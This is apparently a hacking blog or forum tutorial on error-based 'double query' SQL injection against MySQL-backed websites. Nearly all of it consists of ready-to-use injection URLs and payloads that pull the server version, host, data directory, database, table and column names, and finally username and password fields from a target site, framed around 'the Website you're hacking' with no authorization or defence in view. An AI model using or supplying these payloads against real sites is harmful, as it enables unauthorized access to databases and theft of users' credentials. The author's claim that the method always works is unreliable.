SQL Injection - Double Query - Tutorial | Dương-UG Blog's

Hey guys,

Okay, so I will be showing you how to apply a Double Query Sql Injection...

So what you have to know is that the stuff you're going to read about here does always works 100 % and am telling you that because I have a 10 years experience hacker so suck it...

Anyways, lets begin:

Some people may be wondering that there's lots of types for Sql Injection but when the fuck am I suppose to use this one and when the fuck I am suppose that one... So yeah, about MySql Double Query Sql Injection you use this method more then once but mostly you use it when you're applying:

Code:

Mã:

whatever.com/index.php?id=-myass union select 1,2,3,4,5,6--

No that's just an example, it can be Union All Select it can be String Injection it can be whatever you want, just, when you do so, it will give you a MySql Error that is similar to the shit in that box down there:

Code:

Mã:

Different Number of Columns

So when this happens don't open Havij or whatever that Gay Tool you love... Use your fucking knowledge...

Anyways, now I will show you the steps and I will try to explain what's happening down there and I will also show you what some People uses and what I use (which is actually, the stuff you should use).

Ok, so now, we got this gay "Different Number of Columns" Error, firstly we say "We don't give a shit" Secondly we begin our attack...

Ok, lets get the boring stuff but they are important:

Code:

Mã:

whatever.com/index.php?id=myass 
and (select 1 from (select count(*),concat((select(select 
concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as 
char),0x7e)) from information_schema.tables limit 
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Now as you can see, this will show you the Version, the User, the Hostname and the Datadir...

Now some people just add "version()" why? I mean why the fuck do you wanna get them one by one when you can get them all together at once...

So whatever happens stick to that code up there and enough with bullshits...

Okay, so now we got these info, now lets get the Databases...

Many many fucking noob people use this in all their Sql Injection not only in Double Query : database()
Well, for these people: do you fucking know that this is gay?
This will only show you only 1 Database... If the Website you're hacking have like 10 database your query is a fucking fail so never use that...

Example for Double Query:

Code:

Mã:

whatever.com/index.php?id=myass 
and (select 1 from (select count(*),concat((select(select 
concat(cast(database() as char),0x7e)) from information_schema.tables 
where table_schema=database() limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a)

as you can see, the stuff up there is the gay stuff that most people use... Stop using that please, just fucking stop...

use this one:

Code:

Mã:

whatever.com/index.php?id=myass 
and(select 1 from(select count(*),concat((select (select (SELECT 
distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM 
information_schema.schemata LIMIT 0,1)) from information_schema.tables 
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by 
x)a) and 1=1

Code:

Mã:

whatever.com/index.php?id=-myass union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--

And this will show you ALL THE DATABASES AT ONCE...

but using this gay code:

Code:

Mã:

whatever.com/index.php?id=-myass union select 1,2,3,4,5,database(),7,8--

will only show 1 Database...

Ok so now he have all the Databases, lets move on to getting the Tables...

This is what you should use to get the Tables:

Code:

Mã:

whatever.com/index.php?id=myass 
and(select 1 from(select count(*),concat((select (select (SELECT 
distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM 
information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from 
information_schema.tables limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a) and 1=1

Code:

Mã:

whatever.com/index.php?id=myass 
and(select 1 from(select count(*),concat((select (select (SELECT 
distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM 
information_schema.columns Where table_schema=0x"HEXDATABASE" AND 
table_name=0x"HEXTABLENAME" LIMIT 0,1)) from information_schema.tables 
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by 
x)a) and 1=1

Now here, it's just like getting the tables but we're getting the columns, to get the columns we should also Say from which Table so we just add "And table_name=0xHEXEDTABLENAME"
Surely, you have to put the hex of the Table Name instead of that and Increase the Limits to get all the Columns...

Now lets Retrieve Data from the Columns, that's the good part lol:

So that's the part were the gayness appear from couple of people out there, so I will actually show you how to do it the right way...

Let me first show you what other people use and how gay it is and why...

Some people use this:

Code:

Mã:

whatever.com/index.php?id=myass 
and(select 1 from(select count(*),concat((select (select (SELECT 
concat(0x7e,0x27,cast("tablename"."columnname" as char),0x27,0x7e) FROM 
"databasename"."tablename" LIMIT 0,1) ) from information_schema.tables 
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by 
x)a) and 1=1

So as you can see, the people who uses this code are very detailed but kind of gay... they use tablename.columnname
Why is that weak? firstly no need to write the same thing over and over again because in the same query you're saying which Table when you write databasename.tablename... Secondly this will only show you the data of 1 column? Why? Why don't you see the Data of 14213451234 Columns at a time? It's faster, so stop being fucking stupid...

Now some people use this one:

Code:

Mã:

whatever.com/index.php?id=myass 
and (select 1 from (select count(*),concat((select 
concat(username,0x7e,pass,0x7e7e) from "table" limit 
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Now this is better, as you can see we are retreiving the Data of more then 1 column at a time which is good but where it says from "table" is the bad thing because you're not precising which Database and you don't want to risk that because what if there's 2 Databases and both of them have the same table name but with different data you will be like owned by yourself...

So here's what to use:

Code:

Mã:

whatever.com/index.php?id=myass 
and (select 1 from (select count(*),concat((select(select 
concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from 
database.table limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a)

So why this is better? Firstly because we're getting Data from more then 1 column at once and secondly because we're giving the right details to get the right info by using database.table, so we're just giving it everything the right way...

Some Fucking Stuff you should know:

1- Never forget to increase the limits
2- Sometimes you can use Char instead of Hex if it didn't work but this is very very rare
3- Doing a Sql Injection is simple, you should just understand what you're typing and pretend you're talking to somebody...
4- Don't be stupid

Okay we're done, this took me a while to write and I don't really fucking care if you like it or not but I am pretty sure this will increase your knowledge in a way or another and will get us more members here...

Take care all,